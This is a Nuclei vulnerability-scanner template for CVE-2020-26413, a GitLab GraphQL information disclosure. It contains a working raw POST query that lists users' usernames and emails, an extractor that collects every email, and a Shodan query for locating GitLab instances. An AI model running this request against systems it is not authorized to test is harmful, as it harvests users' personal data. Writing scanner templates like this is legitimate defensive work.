nuclei-templates/http/cves/2020/CVE-2020-26413.yaml

55 lines
1.6 KiB
YAML

id: CVE-2020-26413
info:
name: Gitlab CE/EE 13.4 - 13.6.2 - Information Disclosure
author: _0xf4n9x_,pikpikcu
severity: medium
description: GitLab CE and EE 13.4 through 13.6.2 is susceptible to Information disclosure via GraphQL. User email is visible. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
reference:
- https://gitlab.com/gitlab-org/gitlab/-/issues/244275
- https://gitlab.com/gitlab-org/cves/-/blob/master/2020/CVE-2020-26413.json
- https://nvd.nist.gov/vuln/detail/CVE-2020-26413
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2020-26413
cwe-id: CWE-200
metadata:
shodan-query: http.title:"GitLab"
tags: cve,cve2020,gitlab,exposure,enum,graphql
http:
- raw:
- |
POST /api/graphql HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
"query": "{\nusers {\nedges {\n node {\n username\n email\n avatarUrl\n status {\n emoji\n message\n messageHtml\n }\n }\n }\n }\n }",
"variables": null,
"operationName": null
}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"username":'
- '"avatarUrl":'
- '"node":'
condition: and
- type: status
status:
- 200
extractors:
- type: json
part: body
json:
- '.data.users.edges[].node.email'
# Enhanced by md on 2023/02/01